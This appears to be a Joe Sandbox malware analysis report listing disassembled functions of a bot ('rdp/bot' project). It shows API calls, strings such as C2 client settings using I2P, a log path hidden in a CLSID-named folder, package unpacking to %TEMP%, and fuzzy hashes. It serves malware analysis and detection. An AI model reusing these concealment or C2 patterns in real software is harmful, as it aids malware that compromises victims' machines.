Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: 931fbe224b6d1362edbcaa76613dba2ac2475fcda5323f9d284c0134768a3e7b
Instruction ID: 5d06e6602c24fd80e8569f7e16c001c9d1686422ebe01ccf2df99a3a13329460
Opcode Fuzzy Hash: 931fbe224b6d1362edbcaa76613dba2ac2475fcda5323f9d284c0134768a3e7b
Instruction Fuzzy Hash: 19A11E6090C74BD1F630A78CAC80BBA3250AB027C4F5405B6DF4E46BB5EE6DAB85D707

Function 00007FF8B9182472 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8B91824CC
RegQueryValueExA.ADVAPI32 ref: 00007FF8B9182614

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8B9182532, 00007FF8B9182565, 00007FF8B9182598, 00007FF8B91825CB
, xrefs: 00007FF8B918264E
(key != NULL), xrefs: 00007FF8B918256C
, xrefs: 00007FF8B9182657
registry_get_value, xrefs: 00007FF8B91824E7, 00007FF8B9182540, 00007FF8B9182573, 00007FF8B91825A6, 00007FF8B91825D9, 00007FF8B918263B, 00007FF8B9182786, 00007FF8B9182904
P, xrefs: 00007FF8B91826C8
(root != NULL), xrefs: 00007FF8B9182539
NULL, xrefs: 00007FF8B918266E, 00007FF8B918291C, 00007FF8B9182928
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8B91824EE
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8B918290B
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
P, xrefs: 00007FF8B91826BF
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8B9182642
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B9182547, 00007FF8B918257A, 00007FF8B91825AD, 00007FF8B91825E0
(value_sz != NULL), xrefs: 00007FF8B91825D2
(value != NULL), xrefs: 00007FF8B918259F

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: 481f3edfdb410c9c7dbf8b9b942a96f2820c5aded1884b0906b34a899a34cc49
Instruction ID: d0bca432a8c548f127ec2364f3478f1f2111b7f359857d154c8fb66883693118
Opcode Fuzzy Hash: 481f3edfdb410c9c7dbf8b9b942a96f2820c5aded1884b0906b34a899a34cc49
Instruction Fuzzy Hash: C6A17261D0C7C781FA229F4DA8C43782250AF117C4F924532DB1E476A7EE6DE986F342

Function 00007FF8BFB83D25 Relevance: 33.4, APIs: 2, Strings: 17, Instructions: 180threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00007FF8BFB83F3A
GetLastError.KERNEL32 ref: 00007FF8BFB83F9B

Strings

server_port, xrefs: 00007FF8BFB83D9A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB83EF4
~, xrefs: 00007FF8BFB84015
P, xrefs: 00007FF8BFB8401A
[I] (%s) -> %s, xrefs: 00007FF8BFB83F8A
i2p_addr, xrefs: 00007FF8BFB83E90
server_host, xrefs: 00007FF8BFB83D5C
routine_rx, xrefs: 00007FF8BFB83F4C, 00007FF8BFB83FA6
Done, xrefs: 00007FF8BFB83F7C
i2p_sam3_timeo, xrefs: 00007FF8BFB83E5D
cnccli, xrefs: 00007FF8BFB83D63, 00007FF8BFB83DA1, 00007FF8BFB83DE2, 00007FF8BFB83E23, 00007FF8BFB83E64, 00007FF8BFB83E97
[I] (%s) -> CreateThread(%s) done, xrefs: 00007FF8BFB83F5A
, xrefs: 00007FF8BFB83FC0
server_timeo, xrefs: 00007FF8BFB83DDB
i2p_try_num, xrefs: 00007FF8BFB83E1C
[E] (%s) -> CreateThread(%s) failed(gle=%lu), xrefs: 00007FF8BFB83FB4
cnc_init, xrefs: 00007FF8BFB83EED, 00007FF8BFB83F53, 00007FF8BFB83F83, 00007FF8BFB83FAD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: CreateErrorLastThread
String ID: $Done$P$[E] (%s) -> CreateThread(%s) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[I] (%s) -> %s$[I] (%s) -> CreateThread(%s) done$cnc_init$cnccli$i2p_addr$i2p_sam3_timeo$i2p_try_num$routine_rx$server_host$server_port$server_timeo$~
API String ID: 1689873465-2891999747
Opcode ID: 97be6b5ad07804f14644d956753ed9498501f368d80ed370f2936be80a530947
Instruction ID: 38ad52acea5631fec55358683cf5caa898b0a6e3b83b17df0c577eb508ff775a
Opcode Fuzzy Hash: 97be6b5ad07804f14644d956753ed9498501f368d80ed370f2936be80a530947
Instruction Fuzzy Hash: 8C919362A0C74381FB209BDCE8847B92394AF843E4F589235C75E462E2DF7CE955C351

Function 00007FF70887227B Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 133fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00007FF7088722A3
fclose.MSVCRT ref: 00007FF7088722D5
_errno.MSVCRT ref: 00007FF70887238F
_errno.MSVCRT ref: 00007FF7088723B0
fwrite.MSVCRT ref: 00007FF708872424

Strings

[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF7088723A4
NULL, xrefs: 00007FF7088724DA, 00007FF7088724E6
(mode != NULL), xrefs: 00007FF708872364
(path != NULL), xrefs: 00007FF708872334
[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF708872454
[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu), xrefs: 00007FF708872504
[E] (%s) -> Failed(path=%s,mode=%s,err=%08x), xrefs: 00007FF70887230C
fs_file_write, xrefs: 00007FF708872305, 00007FF70887233B, 00007FF70887236B, 00007FF70887239D, 00007FF70887244D, 00007FF7088724FD
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF70887232D, 00007FF70887235D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF708872342, 00007FF708872372

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: _errno$fclosefopenfwrite
String ID: (mode != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,mode=%s,err=%08x)$[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d)$[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d)$[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu)$fs_file_write
API String ID: 608220805-961576452
Opcode ID: a67f0dc2a6d4684223e578e44850183a75426716cbfc7b6913680d7abbc67771
Instruction ID: e3024f8db6a5df9c0465ef1f886e1f66277ee1d2ab5ebf2c952562496778aa28
Opcode Fuzzy Hash: a67f0dc2a6d4684223e578e44850183a75426716cbfc7b6913680d7abbc67771
Instruction Fuzzy Hash: C4517162A69A43C1FA10FB54DD40AB8E321BF50794FD40136D95E472E5DF3CE9AA8328

Function 00007FF8BFB85A5E Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BFB85A7D
CreateDirectoryA.KERNEL32 ref: 00007FF8BFB85A9F
GetLastError.KERNEL32 ref: 00007FF8BFB85AF0
strcpy.MSVCRT ref: 00007FF8BFB85B41
strlen.MSVCRT ref: 00007FF8BFB85B49
strlen.MSVCRT ref: 00007FF8BFB85B65
strlen.MSVCRT ref: 00007FF8BFB85B76
CreateDirectoryA.KERNEL32 ref: 00007FF8BFB85BE7
GetLastError.KERNEL32 ref: 00007FF8BFB85BF1

Strings

(path != NULL), xrefs: 00007FF8BFB85AC7
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF8BFB85D2D
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FF8BFB85BA0
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BFB85AC0
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB85AD5
NULL, xrefs: 00007FF8BFB85D17
fs_dir_create, xrefs: 00007FF8BFB85ACE, 00007FF8BFB85B02, 00007FF8BFB85B99, 00007FF8BFB85CBF, 00007FF8BFB85D26
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF8BFB85CC6
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF8BFB85B09

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-906809513
Opcode ID: 06752aa5a4281953a201f9da300dc2996c40b0526a77fcdae041027a90c7b52c
Instruction ID: bc6e1a3ffb38801d94d25b8a651edbd589e382edbf2a1d18a8aa8eb8d96eef26
Opcode Fuzzy Hash: 06752aa5a4281953a201f9da300dc2996c40b0526a77fcdae041027a90c7b52c
Instruction Fuzzy Hash: 94717C12F0C64382FA605B9CE884BB92351AFD47E4F556136DB4E47A97FE2CA845CB01

Function 00007FF8BA5042BE Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BA5042DD
CreateDirectoryA.KERNEL32 ref: 00007FF8BA5042FF
GetLastError.KERNEL32 ref: 00007FF8BA504350
strcpy.MSVCRT ref: 00007FF8BA5043A1
strlen.MSVCRT ref: 00007FF8BA5043A9
strlen.MSVCRT ref: 00007FF8BA5043C5
strlen.MSVCRT ref: 00007FF8BA5043D6
CreateDirectoryA.KERNEL32 ref: 00007FF8BA504447
GetLastError.KERNEL32 ref: 00007FF8BA504451

Strings

[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF8BA504526
(path != NULL), xrefs: 00007FF8BA504327
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF8BA504369
fs_dir_create, xrefs: 00007FF8BA50432E, 00007FF8BA504362, 00007FF8BA5043F9, 00007FF8BA50451F, 00007FF8BA504586
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF8BA50458D
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BA504320
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA504335
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FF8BA504400
NULL, xrefs: 00007FF8BA504577

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-906809513
Opcode ID: bb568f17dd6a2e4523c81be14fcf721ce6dfccabb5d46468dc8857a08ea5cd7d
Instruction ID: ee4eb9f1f05ff7411ab9124cb4fa73fc6e7ed00acc3589e544e836289d954712
Opcode Fuzzy Hash: bb568f17dd6a2e4523c81be14fcf721ce6dfccabb5d46468dc8857a08ea5cd7d
Instruction Fuzzy Hash: 34715CB1E0C243D2FB309A9DEC817BA1260AB567C8F5551B2DF0F476A5DE2CBB858301

Function 00007FF708879B8C Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF708879BAC
GetLastError.KERNEL32 ref: 00007FF708879CDD

Part of subcall function 00007FF708871360: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF7088784AF), ref: 00007FF70887137E

strlen.MSVCRT ref: 00007FF708879BFE
strlen.MSVCRT ref: 00007FF708879C1A
_mbscat.MSVCRT ref: 00007FF708879C35
strlen.MSVCRT ref: 00007FF708879C3D
strlen.MSVCRT ref: 00007FF708879C52
fopen.MSVCRT ref: 00007FF708879C75

Strings

[E] (%s) -> Failed(err=%08x), xrefs: 00007FF708879CC7
service, xrefs: 00007FF708879B8E
[I] (%s) -> %s, xrefs: 00007FF708879E28
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF708879CA2
debug_init, xrefs: 00007FF708879C9B, 00007FF708879CC0, 00007FF708879CE8, 00007FF708879DAD, 00007FF708879E21
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log, xrefs: 00007FF708879BDE, 00007FF708879BF4, 00007FF708879C2B, 00007FF708879C48, 00007FF708879C94
Done, xrefs: 00007FF708879E1A
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF708879CEF
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF708879DB4
main.log, xrefs: 00007FF708879C5A

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpin_mbscatfopen
String ID: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log$Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$main.log$service
API String ID: 3216678114-1460613360
Opcode ID: a5d516edc8c3acebe8675670bd7bd948a877cc186cddc822a86a05c519dfc104
Instruction ID: 7c45088fdd511256500dbb17f9d33e47919cae2509dd3efc317f63a067ae740c
Opcode Fuzzy Hash: a5d516edc8c3acebe8675670bd7bd948a877cc186cddc822a86a05c519dfc104
Instruction Fuzzy Hash: 5F513E51E2C603C1FA20F714AD80BB9EAA1AF44758FD40132C60D462E6EF6DE9B5C36D

Function 00007FF7088779C0 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 193stringCOMMON

Download Yara Rule

APIs

_mbscat.MSVCRT ref: 00007FF708877B40
strlen.MSVCRT ref: 00007FF708877BFE
_mbscpy.MSVCRT ref: 00007FF708877C26
_mbscpy.MSVCRT ref: 00007FF708877C7D
strlen.MSVCRT ref: 00007FF708877C85
strlen.MSVCRT ref: 00007FF708877CAF

Part of subcall function 00007FF708872515: fopen.MSVCRT ref: 00007FF70887255A
Part of subcall function 00007FF708872515: fseek.MSVCRT ref: 00007FF708872579
Part of subcall function 00007FF708872515: _errno.MSVCRT ref: 00007FF70887258D
Part of subcall function 00007FF708872515: _errno.MSVCRT ref: 00007FF7088725A8

Strings

[I] (%s) -> Entry unpack done(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u), xrefs: 00007FF708877CD7
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF708877A7F, 00007FF708877AAF
H:/Projects/rdp/bot/codebase/package.c, xrefs: 00007FF708877A6A, 00007FF708877A9A
%TEMP%, xrefs: 00007FF708877B22
[E] (%s) -> Failed(package=%s,target=%s,err=%08x), xrefs: 00007FF708877A40
(target != NULL), xrefs: 00007FF708877AA1
(package != NULL), xrefs: 00007FF708877A71
NULL, xrefs: 00007FF708877D0E, 00007FF708877D1A
package_unpack, xrefs: 00007FF708877A39, 00007FF708877A78, 00007FF708877AA8, 00007FF708877B89, 00007FF708877CD0, 00007FF708877CF6
[I] (%s) -> Done(package=%s,target=%s), xrefs: 00007FF708877CFD
[E] (%s) -> Entry unpack failed(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u,err=%08x), xrefs: 00007FF708877B90

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: strlen$_errno_mbscpy$_mbscatfopenfseek
String ID: %TEMP%$(package != NULL)$(target != NULL)$H:/Projects/rdp/bot/codebase/package.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Entry unpack failed(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u,err=%08x)$[E] (%s) -> Failed(package=%s,target=%s,err=%08x)$[I] (%s) -> Done(package=%s,target=%s)$[I] (%s) -> Entry unpack done(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u)$package_unpack
API String ID: 3066828623-625159688
Opcode ID: adabd977a69a3ef9042cc3ebe017081a7012f2dca71a4d26c5f7059b2c8a3415
Instruction ID: bd241d3e69d1e966a1d64a3aee954dbc495f23c9942fd8dd4c1bf6a13050135e
Opcode Fuzzy Hash: adabd977a69a3ef9042cc3ebe017081a7012f2dca71a4d26c5f7059b2c8a3415
Instruction Fuzzy Hash: E5816C61A2864395FA10FB15EC40BAAE770EF44788FC44036EA4D472D5EF7CE5A9C728

Function 00007FF708878563 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 179stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF708871360: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF7088784AF), ref: 00007FF70887137E

strlen.MSVCRT ref: 00007FF7088785D8
strlen.MSVCRT ref: 00007FF7088785FA
_mbscpy.MSVCRT ref: 00007FF708878616
strlen.MSVCRT ref: 00007FF70887861E
strlen.MSVCRT ref: 00007FF708878635
FreeLibrary.KERNEL32 ref: 00007FF708878671
GetProcessHeap.KERNEL32 ref: 00007FF70887872D
HeapAlloc.KERNEL32 ref: 00007FF708878741
_mbscpy.MSVCRT ref: 00007FF708878756

Strings

unit_cleanup, xrefs: 00007FF7088786F6
mem_alloc, xrefs: 00007FF708878788
[E] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF7088787F9
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF70887878F
unit_init, xrefs: 00007FF7088786DF
[I] (%s) -> Done(name=%s), xrefs: 00007FF70887883A
units_init, xrefs: 00007FF70887871A, 00007FF7088787F2, 00007FF708878833
[I] (%s) -> Loaded(f_path=%s), xrefs: 00007FF708878721

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: strlen$Heap_mbscpy$AllocFreeHandleLibraryModuleProcess
String ID: [E] (%s) -> Failed(name=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(name=%s)$[I] (%s) -> Loaded(f_path=%s)$mem_alloc$unit_cleanup$unit_init$units_init
API String ID: 548194777-214984806
Opcode ID: 0f11d183b7847359bd63d1c8ae58d1454adc20786cfbdc33d249472175fb6a43
Instruction ID: 468431911774a7f1837cb1012b4d16f84223c54651cb92bccda3d6a1705bd6dc
Opcode Fuzzy Hash: 0f11d183b7847359bd63d1c8ae58d1454adc20786cfbdc33d249472175fb6a43
Instruction Fuzzy Hash: 9C815E61A2864391FA61FB01AC58BB9E3A1AF44B88FC44035DA4D477D5DF3CE5A5C32C

Function 00007FF708873D81 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 199fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,service,000001B9FFF913D0,?,00007FF7088884F0,00007FF7088784E9), ref: 00007FF708873DD9
LockFileEx.KERNEL32(?,?,?,?,?,?,?,?,?,service,000001B9FFF913D0,?,00007FF7088884F0,00007FF7088784E9), ref: 00007FF708873E12
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,service,000001B9FFF913D0,?,00007FF7088884F0,00007FF7088784E9), ref: 00007FF708873EE7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,service,000001B9FFF913D0,?,00007FF7088884F0,00007FF7088784E9), ref: 00007FF708873FCC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,service,000001B9FFF913D0,?,00007FF7088884F0,00007FF7088784E9), ref: 00007FF708874140

Strings

(lock != NULL), xrefs: 00007FF708873EC3
NULL, xrefs: 00007FF70887414B
service, xrefs: 00007FF708873D84
[E] (%s) -> CreateFileA failed(path=%s,gle=%lu), xrefs: 00007FF708873EFC
[E] (%s) -> LockFileEx failed(path=%s,gle=%lu), xrefs: 00007FF708873FE1
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708873E6D
(path != NULL), xrefs: 00007FF708873E93
[I] (%s) -> Done(path=%s,lock=%p), xrefs: 00007FF708874164
fs_file_lock, xrefs: 00007FF708873E66, 00007FF708873E9A, 00007FF708873ECA, 00007FF708873EF5, 00007FF708873FDA, 00007FF70887415D
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF708873E8C, 00007FF708873EBC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF708873EA1, 00007FF708873ED1

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

